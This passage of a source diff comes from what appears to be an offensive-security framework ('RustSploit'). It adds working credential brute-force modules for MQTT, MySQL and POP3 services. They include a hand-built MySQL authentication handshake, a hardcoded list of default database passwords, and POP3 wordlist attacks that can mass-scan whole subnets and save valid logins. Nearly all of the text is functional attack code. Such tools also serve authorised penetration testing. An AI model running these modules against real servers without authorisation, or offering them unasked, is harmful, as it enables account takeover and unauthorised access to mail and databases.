4 | 5 => LoginResult::AuthFailed, // bad credentials / not authorized
|
||||
other => LoginResult::Error {
|
||||
message: format!("CONNACK return code {other}"),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
fn push_str(buf: &mut Vec<u8>, s: &str) {
|
||||
let bytes = s.as_bytes();
|
||||
let len = match u16::try_from(bytes.len()) {
|
||||
Ok(v) => v,
|
||||
Err(e) => {
|
||||
tracing::warn!("MQTT string too long ({} bytes), truncating length to u16::MAX: {e}", bytes.len());
|
||||
u16::MAX
|
||||
}
|
||||
};
|
||||
buf.extend_from_slice(&len.to_be_bytes());
|
||||
buf.extend_from_slice(bytes);
|
||||
}
|
||||
|
||||
fn encode_remaining_length(buf: &mut Vec<u8>, mut value: usize) {
|
||||
loop {
|
||||
let mut byte = (value & 0x7f) as u8;
|
||||
value >>= 7;
|
||||
if value > 0 {
|
||||
byte |= 0x80;
|
||||
}
|
||||
buf.push(byte);
|
||||
if value == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/mqtt_bruteforce", native);
|
||||
@@ -0,0 +1,298 @@
|
||||
//! MySQL credential brute-force.
|
||||
//!
|
||||
//! Single-target probe. The scheduler handles fan-out. This module speaks
|
||||
//! enough of the MySQL handshake / `mysql_native_password` auth flow to
|
||||
//! distinguish "valid creds" from "wrong creds" without pulling in a
|
||||
//! full MySQL client.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use crate::module::{ModuleCtx, ModuleOutcome};
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::creds_helper::{self, CredsRun};
|
||||
use crate::utils::LoginResult;
|
||||
|
||||
const DEFAULT_MYSQL_PORT: u16 = 3306;
|
||||
|
||||
const DEFAULT_MYSQL_CREDS: &[(&str, &str)] = &[
|
||||
("root", ""),
|
||||
("root", "root"),
|
||||
("root", "password"),
|
||||
("root", "mysql"),
|
||||
("root", "admin"),
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("mysql", "mysql"),
|
||||
("user", "user"),
|
||||
];
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "MySQL Bruteforce".to_string(),
|
||||
description:
|
||||
"Tests MySQL/MariaDB authentication via the HandshakeV10 → \
|
||||
HandshakeResponse41 (mysql_native_password) flow. Reads the \
|
||||
OK/ERR packet to classify the result. Single-target — \
|
||||
scheduler does fan-out."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://dev.mysql.com/doc/dev/mysql-server/latest/page_protocol_connection_phase.html"
|
||||
.to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Normal,
|
||||
default_port: Some(3306),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx.target.as_single().context("mysql_bruteforce requires a single-host target")?;
|
||||
creds_helper::run(
|
||||
target,
|
||||
CredsRun {
|
||||
service_name: "mysql",
|
||||
default_port: DEFAULT_MYSQL_PORT,
|
||||
source_module: "creds/generic/mysql_bruteforce",
|
||||
defaults: DEFAULT_MYSQL_CREDS,
|
||||
password_only: false,
|
||||
},
|
||||
|host: String, port: u16, user: String, pass: String, timeout: std::time::Duration| async move {
|
||||
probe(&host, port, &user, &pass, timeout).await
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn probe(host: &str, port: u16, user: &str, pass: &str, timeout: Duration) -> LoginResult {
|
||||
use sha1::{Digest, Sha1};
|
||||
use tokio::io::AsyncWriteExt;
|
||||
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let mut stream = match crate::utils::creds_helper::connect_with_timeout(&addr, timeout).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
return LoginResult::Error {
|
||||
message: format!("connect: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
// MySQL packet: 3-byte LE length + 1-byte sequence ID + payload.
|
||||
let mut header = [0u8; 4];
|
||||
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
|
||||
&mut stream,
|
||||
&mut header,
|
||||
timeout,
|
||||
)
|
||||
.await
|
||||
{
|
||||
return LoginResult::Error {
|
||||
message: format!("read handshake header: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
let payload_len =
|
||||
u32::from_le_bytes([header[0], header[1], header[2], 0]) as usize;
|
||||
let seq_id = header[3];
|
||||
if !(20..=4096).contains(&payload_len) {
|
||||
return LoginResult::Error {
|
||||
message: format!("implausible handshake length {payload_len}"),
|
||||
retryable: false,
|
||||
};
|
||||
}
|
||||
let mut payload = vec![0u8; payload_len];
|
||||
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
|
||||
&mut stream,
|
||||
&mut payload,
|
||||
timeout,
|
||||
)
|
||||
.await
|
||||
{
|
||||
return LoginResult::Error {
|
||||
message: format!("read handshake payload: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
if payload[0] != 0x0a {
|
||||
return LoginResult::Error {
|
||||
message: format!("protocol version {} != 10", payload[0]),
|
||||
retryable: false,
|
||||
};
|
||||
}
|
||||
|
||||
// Skip server-version (null-terminated string) + 4-byte conn id + 8-byte salt + 1 filler.
|
||||
let mut idx = 1;
|
||||
while idx < payload.len() && payload[idx] != 0 {
|
||||
idx += 1;
|
||||
}
|
||||
idx += 1; // null
|
||||
if idx + 4 + 8 + 1 > payload.len() {
|
||||
return LoginResult::Error {
|
||||
message: "handshake too short".to_string(),
|
||||
retryable: false,
|
||||
};
|
||||
}
|
||||
idx += 4; // connection id
|
||||
let salt1 = &payload[idx..idx + 8].to_vec();
|
||||
idx += 8 + 1; // salt + filler
|
||||
|
||||
// Optional server capabilities (2 bytes) + charset (1) + status (2) + caps high (2)
|
||||
// + auth-plugin-data-len (1) + 10 reserved + salt2.
|
||||
if idx + 2 > payload.len() {
|
||||
return LoginResult::Error {
|
||||
message: "missing capability flags".to_string(),
|
||||
retryable: false,
|
||||
};
|
||||
}
|
||||
idx += 2;
|
||||
if idx + 1 + 2 + 2 + 1 + 10 < payload.len() {
|
||||
idx += 1 + 2 + 2; // charset + status + capabilities high
|
||||
let auth_plugin_data_len = payload[idx] as usize;
|
||||
idx += 1 + 10;
|
||||
let salt2_len = auth_plugin_data_len.saturating_sub(8).max(12);
|
||||
if idx + salt2_len > payload.len() {
|
||||
return LoginResult::Error {
|
||||
message: "salt2 OOB".to_string(),
|
||||
retryable: false,
|
||||
};
|
||||
}
|
||||
let mut salt = salt1.clone();
|
||||
salt.extend_from_slice(&payload[idx..idx + salt2_len.saturating_sub(1)]);
|
||||
|
||||
// mysql_native_password: SHA1(pass) ⊕ SHA1(salt || SHA1(SHA1(pass))).
|
||||
let auth_response = if pass.is_empty() {
|
||||
Vec::new()
|
||||
} else {
|
||||
let pass_hash: [u8; 20] = Sha1::digest(pass.as_bytes()).into();
|
||||
let pass_double: [u8; 20] = Sha1::digest(pass_hash).into();
|
||||
let mut salted = Vec::with_capacity(salt.len() + 20);
|
||||
salted.extend_from_slice(&salt);
|
||||
salted.extend_from_slice(&pass_double);
|
||||
let salt_hash: [u8; 20] = Sha1::digest(&salted).into();
|
||||
pass_hash
|
||||
.iter()
|
||||
.zip(salt_hash.iter())
|
||||
.map(|(a, b)| a ^ b)
|
||||
.collect()
|
||||
};
|
||||
|
||||
// Build HandshakeResponse41.
|
||||
let client_flags: u32 = 0x0001_8205; // PROTOCOL_41 | SECURE_CONNECTION | LONG_PASSWORD | LONG_FLAG | TRANSACTIONS | PLUGIN_AUTH
|
||||
let max_packet: u32 = 1 << 24;
|
||||
let charset: u8 = 0x21; // utf8_general_ci
|
||||
|
||||
let mut response = Vec::new();
|
||||
response.extend_from_slice(&client_flags.to_le_bytes());
|
||||
response.extend_from_slice(&max_packet.to_le_bytes());
|
||||
response.push(charset);
|
||||
response.extend_from_slice(&[0u8; 23]); // reserved
|
||||
response.extend_from_slice(user.as_bytes());
|
||||
response.push(0); // null
|
||||
response.push(auth_response.len() as u8);
|
||||
response.extend_from_slice(&auth_response);
|
||||
response.extend_from_slice(b"mysql_native_password");
|
||||
response.push(0);
|
||||
|
||||
let mut packet = Vec::with_capacity(4 + response.len());
|
||||
let resp_len = response.len() as u32;
|
||||
packet.push((resp_len & 0xff) as u8);
|
||||
packet.push(((resp_len >> 8) & 0xff) as u8);
|
||||
packet.push(((resp_len >> 16) & 0xff) as u8);
|
||||
packet.push(seq_id.wrapping_add(1));
|
||||
packet.extend_from_slice(&response);
|
||||
|
||||
if let Err(e) = stream.write_all(&packet).await {
|
||||
return LoginResult::Error {
|
||||
message: format!("write response: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
|
||||
// Read OK / ERR / AuthSwitchRequest.
|
||||
let mut h2 = [0u8; 4];
|
||||
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
|
||||
&mut stream,
|
||||
&mut h2,
|
||||
timeout,
|
||||
)
|
||||
.await
|
||||
{
|
||||
return LoginResult::Error {
|
||||
message: format!("read auth result: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
let p2_len = u32::from_le_bytes([h2[0], h2[1], h2[2], 0]) as usize;
|
||||
if !(1..=4096).contains(&p2_len) {
|
||||
return LoginResult::Error {
|
||||
message: format!("invalid auth-result length {p2_len}"),
|
||||
retryable: false,
|
||||
};
|
||||
}
|
||||
let mut p2 = vec![0u8; p2_len];
|
||||
if let Err(e) = crate::utils::creds_helper::read_exact_with_timeout(
|
||||
&mut stream,
|
||||
&mut p2,
|
||||
timeout,
|
||||
)
|
||||
.await
|
||||
{
|
||||
return LoginResult::Error {
|
||||
message: format!("read auth body: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
match p2[0] {
|
||||
0x00 => LoginResult::Success,
|
||||
0xff => {
|
||||
// ERR packet: marker (1) + error-code (2 LE) + ...
|
||||
if p2.len() >= 3 {
|
||||
let err_code = u16::from_le_bytes([p2[1], p2[2]]);
|
||||
match err_code {
|
||||
// Access/auth denials — definitive negatives.
|
||||
// 1044 db-access, 1045 access-denied, 1698 auth-plugin
|
||||
// denied, 1862 password-expired, 1226/1227 resource/priv,
|
||||
// 1130 host-not-privileged.
|
||||
1044 | 1045 | 1130 | 1226 | 1227 | 1698 | 1862 => LoginResult::AuthFailed,
|
||||
_ => {
|
||||
let msg = if p2.len() > 9 {
|
||||
String::from_utf8_lossy(&p2[9..]).to_string()
|
||||
} else {
|
||||
format!("MySQL error {err_code}")
|
||||
};
|
||||
// The server sent an ERR packet, so it DID respond —
|
||||
// not a transient/connection fault. Mark non-retryable
|
||||
// so an unexpected error code doesn't burn retries and
|
||||
// trip the consecutive-error lockout on a live server.
|
||||
LoginResult::Error {
|
||||
message: msg,
|
||||
retryable: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
LoginResult::AuthFailed
|
||||
}
|
||||
}
|
||||
0xfe => {
|
||||
// AuthSwitchRequest — the server wants a different plugin.
|
||||
// Treat as auth fail for now to avoid recursion.
|
||||
LoginResult::AuthFailed
|
||||
}
|
||||
other => LoginResult::Error {
|
||||
message: format!("unexpected auth-result marker 0x{other:02x}"),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
} else {
|
||||
LoginResult::Error {
|
||||
message: "incomplete handshake (no auth-plugin data)".to_string(),
|
||||
retryable: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/mysql_bruteforce", native);
|
||||
@@ -1,223 +1,368 @@
|
||||
use anyhow::{Result, Context};
|
||||
use regex::Regex;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, BufRead, BufReader, Write, Read};
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::Duration;
|
||||
use threadpool::ThreadPool;
|
||||
use crossbeam_channel::unbounded;
|
||||
use anyhow::{ anyhow, Context, Result };
|
||||
use colored::*;
|
||||
use native_tls::TlsConnector;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
|
||||
#[derive(Clone)]
|
||||
struct Pop3BruteforceConfig {
|
||||
target: String,
|
||||
port: u16,
|
||||
username_wordlist: String,
|
||||
password_wordlist: String,
|
||||
threads: usize,
|
||||
stop_on_success: bool,
|
||||
verbose: bool,
|
||||
full_combo: bool,
|
||||
use_ssl: bool,
|
||||
use crate::module::{ Finding, FindingKind, ModuleCtx, ModuleOutcome };
|
||||
use crate::utils::{
|
||||
load_lines,
|
||||
cfg_prompt_default,
|
||||
cfg_prompt_yes_no,
|
||||
cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig,
|
||||
LoginResult,
|
||||
SubnetScanConfig,
|
||||
generate_combos_mode,
|
||||
parse_combo_mode,
|
||||
load_credential_file,
|
||||
run_bruteforce,
|
||||
run_subnet_bruteforce,
|
||||
is_subnet_target,
|
||||
backoff_delay,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "POP3 Brute Force".to_string(),
|
||||
description: "Brute-force POP3 authentication with SSL/TLS support. Tests credentials against POP3 mail servers with combo mode, retry logic, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
default_port: Some(110),
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n=== POP3 Bruteforce ===\n");
|
||||
let port = prompt("Port (default 110 for POP3, 995 for POP3S): ").parse().unwrap_or(110);
|
||||
let username_wordlist = prompt("Username wordlist file: ");
|
||||
let password_wordlist = prompt("Password wordlist file: ");
|
||||
let threads = prompt("Threads (default 16): ").parse().unwrap_or(16);
|
||||
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let use_ssl = prompt("Use SSL/TLS (POP3S)? (y/n): ").trim().eq_ignore_ascii_case("y");
|
||||
let config = Pop3BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
username_wordlist,
|
||||
password_wordlist,
|
||||
threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
use_ssl,
|
||||
};
|
||||
run_pop3_bruteforce(config)
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum Pop3ErrorType {
|
||||
AuthenticationFailed,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
TlsError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
|
||||
let addr = normalize_target(&config.target, config.port)?;
|
||||
let host = get_hostname(&config.target);
|
||||
let usernames = read_lines(&config.username_wordlist)?;
|
||||
let passwords = read_lines(&config.password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
|
||||
impl Pop3ErrorType {
|
||||
/// Classify a POP3 error from its message string for smarter retry decisions.
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("authentication")
|
||||
|| lower.contains("login")
|
||||
|| lower.contains("-err")
|
||||
|| lower.contains("invalid credential")
|
||||
|| lower.contains("bad password")
|
||||
{
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("tls")
|
||||
|| lower.contains("ssl")
|
||||
|| lower.contains("certificate")
|
||||
|| lower.contains("handshake")
|
||||
{
|
||||
Self::TlsError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_flag = Arc::new(Mutex::new(false));
|
||||
let pool = ThreadPool::new(config.threads);
|
||||
let (tx, rx) = unbounded();
|
||||
if config.full_combo {
|
||||
for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
|
||||
} else if usernames.len() == 1 {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
} else if passwords.len() == 1 {
|
||||
for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
|
||||
} else {
|
||||
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
|
||||
|
||||
/// Whether this error type is worth retrying.
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
drop(tx);
|
||||
for _ in 0..config.threads {
|
||||
let rx = rx.clone();
|
||||
let addr = addr.clone();
|
||||
let host = host.clone();
|
||||
let stop_flag = Arc::clone(&stop_flag);
|
||||
let found = Arc::clone(&found);
|
||||
let config = config.clone();
|
||||
pool.execute(move || {
|
||||
while let Ok((user, pass)) = rx.recv() {
|
||||
if *stop_flag.lock().unwrap() { break; }
|
||||
if config.verbose { println!("[*] Trying {}:{}", user, pass); }
|
||||
let result = if config.use_ssl {
|
||||
try_pop3s_login_verbose(&addr, &host, &user, &pass, config.verbose)
|
||||
} else {
|
||||
try_pop3_login_verbose(&addr, &user, &pass, config.verbose)
|
||||
};
|
||||
match result {
|
||||
Ok(true) => {
|
||||
println!();
|
||||
println!("[+] VALID: {}:{}", user, pass);
|
||||
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
|
||||
if config.stop_on_success {
|
||||
*stop_flag.lock().unwrap() = true;
|
||||
while rx.try_recv().is_ok() {}
|
||||
break;
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::TlsError => "TLS/SSL error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct Pop3Error {
|
||||
error_type: Pop3ErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for Pop3Error {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for Pop3Error {}
|
||||
|
||||
impl Pop3Error {
|
||||
fn from_anyhow(err: anyhow::Error) -> Self {
|
||||
let msg = err.to_string();
|
||||
let error_type = Pop3ErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("pop3_bruteforce requires a single-host target")?;
|
||||
crate::mprintln!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
|
||||
let default_port = if use_ssl { 995 } else { 110 };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "pop3_subnet_results.txt").await?;
|
||||
|
||||
let connection_timeout: u64 = 5;
|
||||
|
||||
let limiter = ctx.limiter.clone();
|
||||
let module_path = ctx.module_path.clone();
|
||||
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "pop3",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/pop3_credcheck",
|
||||
skip_tcp_check: false,
|
||||
state_file: None,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let limiter = limiter.clone();
|
||||
let module_path = module_path.clone();
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
limiter.acquire(&module_path, &target_str).await;
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_pop3_login(&target_str, port, &user, &pass, use_ssl, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => {
|
||||
let retryable = e.error_type.is_retryable();
|
||||
if retryable {
|
||||
tokio::time::sleep(backoff_delay(250, 1, 4)).await;
|
||||
}
|
||||
LoginResult::Error { message: e.message, retryable }
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
}).await?;
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
for (host, user, pass) in &hits {
|
||||
outcome.findings.push(Finding {
|
||||
target: host.clone(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("Valid POP3 credentials found: {}:{}", user, pass),
|
||||
data: Some(serde_json::json!({
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"service": "pop3",
|
||||
"port": port,
|
||||
})),
|
||||
});
|
||||
}
|
||||
return Ok(outcome);
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
let use_ssl = cfg_prompt_yes_no("use_ssl", "Use SSL/TLS (POP3S)?", false).await?;
|
||||
let default_port = if use_ssl { 995 } else { 110 };
|
||||
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let username_wordlist = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
|
||||
let password_wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
|
||||
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 16, 1, 256).await? as usize;
|
||||
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Timeout (s)", 5, 1, 60).await? as u64;
|
||||
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", false).await?;
|
||||
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "pop3_results.txt").await?;
|
||||
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry failed connections?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let usernames = load_lines(&username_wordlist)?;
|
||||
let passwords = load_lines(&password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
anyhow::bail!("Username or password list is empty — nothing to bruteforce");
|
||||
}
|
||||
|
||||
crate::mprintln!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[Starting Attack]".bold().yellow());
|
||||
crate::mprintln!();
|
||||
|
||||
let limiter = ctx.limiter.clone();
|
||||
let module_path = ctx.module_path.clone();
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let limiter = limiter.clone();
|
||||
let module_path = module_path.clone();
|
||||
async move {
|
||||
limiter.acquire(&module_path, &t).await;
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_pop3_login(&t, p, &user, &pass, use_ssl, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => {
|
||||
let retryable = e.error_type.is_retryable();
|
||||
if retryable {
|
||||
tokio::time::sleep(backoff_delay(250, 1, 4)).await;
|
||||
}
|
||||
LoginResult::Error { message: e.message, retryable }
|
||||
}
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency: threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms,
|
||||
max_retries,
|
||||
service_name: "pop3",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/pop3_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
result.save_to_file(&output_file)?;
|
||||
|
||||
for (host, user, pass) in &result.found {
|
||||
outcome.findings.push(Finding {
|
||||
target: host.clone(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("Valid POP3 credentials found: {}:{}", user, pass),
|
||||
data: Some(serde_json::json!({
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"service": "pop3",
|
||||
"port": port,
|
||||
})),
|
||||
});
|
||||
}
|
||||
pool.join();
|
||||
let found = found.lock().unwrap();
|
||||
if found.is_empty() {
|
||||
println!("[-] No valid credentials.");
|
||||
} else {
|
||||
println!();
|
||||
println!("[+] Found:");
|
||||
for (u,p) in found.iter() { println!("{}:{}", u, p); }
|
||||
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
|
||||
let f = prompt("Filename: ");
|
||||
save_results(&f, &found)?;
|
||||
println!("[+] Saved to {}", f);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
// Standard POP3 login, plaintext
|
||||
fn try_pop3_login_verbose(addr: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
let mut stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
|
||||
stream.set_read_timeout(Some(Duration::from_millis(4000))).ok();
|
||||
stream.set_write_timeout(Some(Duration::from_millis(4000))).ok();
|
||||
pop3_session(&mut stream, username, password, verbose)
|
||||
}
|
||||
/// POP3 login result: Ok(true) = authenticated, Ok(false) = auth rejected, Err = classified error.
|
||||
/// Shared POP3 authentication logic for both SSL and plain connections.
|
||||
fn pop3_authenticate(stream: &mut (impl std::io::Read + std::io::Write), user: &str, pass: &str) -> std::result::Result<bool, Pop3Error> {
|
||||
let mut buffer = [0; 1024];
|
||||
// Read banner
|
||||
stream.read(&mut buffer).map_err(|e| Pop3Error::from_anyhow(e.into()))?;
|
||||
|
||||
// POP3S (SSL/TLS)
|
||||
fn try_pop3s_login_verbose(addr: &str, host: &str, username: &str, password: &str, verbose: bool) -> Result<bool> {
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(4000)).context("Connect timeout")?;
|
||||
let connector = TlsConnector::new().unwrap();
|
||||
let mut stream = connector.connect(host, stream).context("SSL connect fail")?;
|
||||
stream.get_ref().set_read_timeout(Some(Duration::from_millis(4000))).ok();
|
||||
stream.get_ref().set_write_timeout(Some(Duration::from_millis(4000))).ok();
|
||||
pop3_session(&mut stream, username, password, verbose)
|
||||
}
|
||||
|
||||
// Shared POP3 session logic for both plain and SSL
|
||||
